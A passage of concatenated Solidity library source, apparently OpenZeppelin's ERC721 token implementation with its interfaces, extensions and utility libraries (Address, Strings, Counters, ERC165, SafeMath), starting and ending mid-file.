_symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../ERC721.sol"; import "../../../utils/Context.sol"; /** * @title ERC721 Burnable Token * @dev ERC721 Token that can be irreversibly burned (destroyed). */ abstract contract ERC721Burnable is Context, ERC721 { /** * @dev Burns `tokenId`. See {ERC721-_burn}. * * Requirements: * * - The caller must own `tokenId` or be an approved operator. */ function burn(uint256 tokenId) public virtual { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721Burnable: caller is not owner nor approved"); _burn(tokenId); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../ERC721.sol"; import "./IERC721Enumerable.sol"; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../ERC721.sol"; /** * @dev ERC721 token with storage based token URI management. */ abstract contract ERC721URIStorage is ERC721 { using Strings for uint256; // Optional mapping for token URIs mapping(uint256 => string) private _tokenURIs; /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721URIStorage: URI query for nonexistent token"); string memory _tokenURI = _tokenURIs[tokenId]; string memory base = _baseURI(); // If there is no base URI, return the token URI. if (bytes(base).length == 0) { return _tokenURI; } // If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked). if (bytes(_tokenURI).length > 0) { return string(abi.encodePacked(base, _tokenURI)); } return super.tokenURI(tokenId); } /** * @dev Sets `_tokenURI` as the tokenURI of `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual { require(_exists(tokenId), "ERC721URIStorage: URI set of nonexistent token"); _tokenURIs[tokenId] = _tokenURI; } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual override { super._burn(tokenId); if (bytes(_tokenURIs[tokenId]).length != 0) { delete _tokenURIs[tokenId]; } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` */ library Counters { struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } function reset(Counter storage counter) internal { counter._value = 0; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For 